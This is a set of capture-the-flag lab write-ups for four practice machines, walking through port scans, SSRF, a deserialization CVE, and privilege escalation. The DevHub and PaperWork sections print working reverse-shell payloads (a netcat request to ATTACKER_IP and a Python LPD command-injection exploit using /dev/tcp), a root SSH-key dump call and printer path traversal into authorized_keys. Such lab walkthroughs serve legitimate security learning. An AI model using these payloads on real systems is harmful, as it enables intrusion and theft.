Cohort is a simple machine focusing on enumeration and using CVE’s to priv escalate
Starting with the basic nmap and looking around
nmap -p- -vvv --min-rate 10000 <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:
There is also a portal page that allows us to submit a public url and it would pull the data from the file we uploaded. I hosted a normal csv from my machine and caputured the output in burp. I noticed that the site sent a POST request to a /api/validate/ endpoint which returned back if it was sucessful and the content. The hints and description leaned towards SSRF so I used a list of localhost varients to brute force check if its reachable using burp suite. I found http://0 was able to bypass the filter. I then began to enumerate to see if I could access any files and what ports were open on the internal side.
I found a few ports open, port 80 revealed to me a subdomain for a marimo notebook application being hosted on internal port 8888 and publically accessible on the subdomain ``. It was locked behind a Authentication token but after some reasearch I found a CVE that allows RCE without any authentication using websockets. Using the CVE i was able to reach user.
marimo@cohort:~$ cat user.txt
To reach root I checked the packages that were installed using
dpkg -l
I found a package kit CVE that allowed RCE which gave me root
root@cohort:~$ cat root.txt
Devhub was a medium rated machine but felt more like a easy machine as it mainly focused on enumerations skills. It required you to enumerate internal services and utlize API tokens hardcoded in config files.
Starting with the basic nmap and looking around
nmap -p- -vvv --min-rate 10000 <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
| 6274 | unknown |
Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:
The webpage hosted on http gives us some information about the platform features. We see that there is a debugging tool on port 6274 which we’ve seen before and also a internal service on port 8888.
MCPJam is being hosted on that port, we can retrieve the version number v1.4.2 from the settings page. This version is vulnerable to RCE.
We can craft and send a request to the endpoint using curl to get a shell:
curl -X POST "http://devhub.htb:6274/api/mcp/connect" -H "Content-Type: application/json" -d '{"serverConfig":{"command":"busybox","args":["nc","ATTACKER_IP","PORT","-e","/bin/bash"],"env":{}},"serverId":"213j1l3jkljkl3j"}'
After upgrading the shell we are logged in as mcp-dev:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
Enumeration reveals another user analyst as well as a few ports open.
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1290,fd=29))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Port 5000 appears to be a OPSMCP server running as root but requires an API key and is owned by the user analyst. Port 8888 is hosting a jupyter notebook for the user analyst. Using chisel or ssh to port forward it back to our machines browser we can access the notebook and use the notebooks built in terminal as analyst.
cat user.txt
e1bc3c77bafdf46739a1dbd86a11ca31
Going back to port 5000 which is a analyst owned program being ran by root, we can view the contents of the server.py. The API key is hard coded:
# API Key for authentication
VALID_API_KEY = "opsmcp_admin_7f3b9c2d1e4f5a6b"
We also can see there’s a ops._admin_dump function that can dump ssh_keys. Since the user that is running the server.py is root we can dump it’s ssh keys and login as root through ssh.
curl -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
Using the private key we can then ssh as root to the machine and get root.txt
root@devhub:~# cat root.txt
9046c3298be4919e551112642854cbf4
SmartHire was a medium machine involving a CVE abusing a python deserialization and reaching root by a sudo -l weakness
Starting with the basic nmap and looking around
nmap -p- -vvv --min-rate 10000 <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:
The webpage allows me to sign up an account and upload/test a model but there isn’t much we can do after that on the site. Further enumeration reveals a subdomain
models.smarthire.htb
The subdomain reveals a page hosting MFlow 2.14.1 which is vulnerable to a RCE using CVE-2024-37054. I am able to pop a shell as svcweb which is also the correct user for the flag.
svcweb@smarthire:~$ cat user.txt
After exploring the account I discover that we are able to run a python program as root.
svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
The program goes through the plugins directory and runs code on each plugin found. I was able to create a malicious plugin that runs my own python code retrieving the root flag since I am able to run the program as root.
svcweb@smarthire:~$ cat root.txt
PaperWork was a fun and straightforward machine centered around abusing Printer Job Language (PJL) to communicate with a printer service and gain an initial foothold. The privilege escalation was equally interesting, involving the exploitation of a socket misconfiguration through inherited file descriptors to obtain root. While the overall difficulty was relatively low, having to learn and work with PJL made the box require a bit more work and thinking.
Starting with the basic nmap and looking around
nmap -p- -vvv --min-rate 10000 <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
| 1515 | ifor-protocol |
Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:
The maintenence page tells us we have to use the legacy gateway and provides us with the backend server code as well as the protocol being used.
The server code is very simple, the workflow is:
If you read the code carefully, you should notice a basic command injection on the line:
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
To exploit this we simply need to pass a job name and escape the string with an ‘ to be able to run our own command. Developing the exploit can be a bit tricky since you need to understand how LPD and RFC work, here’s a good documentation that helps https://datatracker.ietf.org/doc/html/rfc1179
Reverse shell exploit:
import socket
TARGET = ("MACHINE_IP", 1515)
QUEUE = b"archive_intake"
payload = "'; bash -c 'bash -i >/dev/tcp/ATTACKER_IP/PORT 0>&1'; echo '"
job_line = ("J" + payload + "\n").encode()
size = len(job_line)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
s.send(b"\x02" + QUEUE + b"\n")
s.send(b"\x02" + f"{size} cfA000host".encode() + b"\n")
s.send(job_line)
s.close()
This will give us a shell as lp on the machine
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)
I ran linpeas.sh and confirmed that lp isn’t the main user that we want, there is another user archivist which is the actual user we need to get to.
We can also see that there are some interesting local services running, in particular port 9100 which is used for network printing, given the printing theme this may be a possible path.
ss -tulnp
127.0.0.1:9100
PJL is the most popular language used to interact with printers daemons over the network. Reading through the documentation we can view the file system as well as interact with it. https://developers.hp.com/hp-printer-command-languages-pcl/doc/print-job-language-pjl
I wrote a quick program to grab its banner
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“127.0.0.1”, 9100)) s.send(b”\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X”) print(s.recv(4096)) s.close()
</code>
It confirmed back with b'HP LASERJET 4ML\r\n'
I also noticed that I was able to view the file system, after messing around I was able to escape out and view archivist home directory
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“127.0.0.1”, 9100)) s.send(b”\x1b%-12345X@PJL FSDIRLIST NAME="../"\r\n\x1b%-12345X”) print(s.recv(4096)) s.close() </code>
. TYPE=DIR
.. TYPE=DIR
.cache TYPE=DIR SIZE=4096
.bashrc TYPE=FILE SIZE=3771
.local TYPE=DIR SIZE=4096
.ssh TYPE=DIR SIZE=4096
.profile TYPE=FILE SIZE=807
.lesshst TYPE=FILE SIZE=20
.bash_history TYPE=FILE SIZE=0
user.txt TYPE=FILE SIZE=33
.bash_logout TYPE=FILE SIZE=220
.gnupg TYPE=DIR SIZE=4096
printer TYPE=DIR SIZE=4096
With access to his ssh keys, I was able to add my own ssh key into his authorized keys, allowing me to ssh as him
print(pjl(f'@PJL FSDOWNLOAD NAME="../.ssh/authorized_keys" SIZE={len(ssh_key)}\r\n{ssh_key}'))
Running linpeas again as archivist revealed a paperwork process running as root. Examining the code for the process showed that it leaks the file descriptor for the admin config file when it shares it over sockets.
All we have to do is connect to the socket and then trigger a lockdown, the python daemon will then send the file descriptor over the socket which we can access. We can then use the file descriptor to read the actual config file and retrieve the root password.d
]]>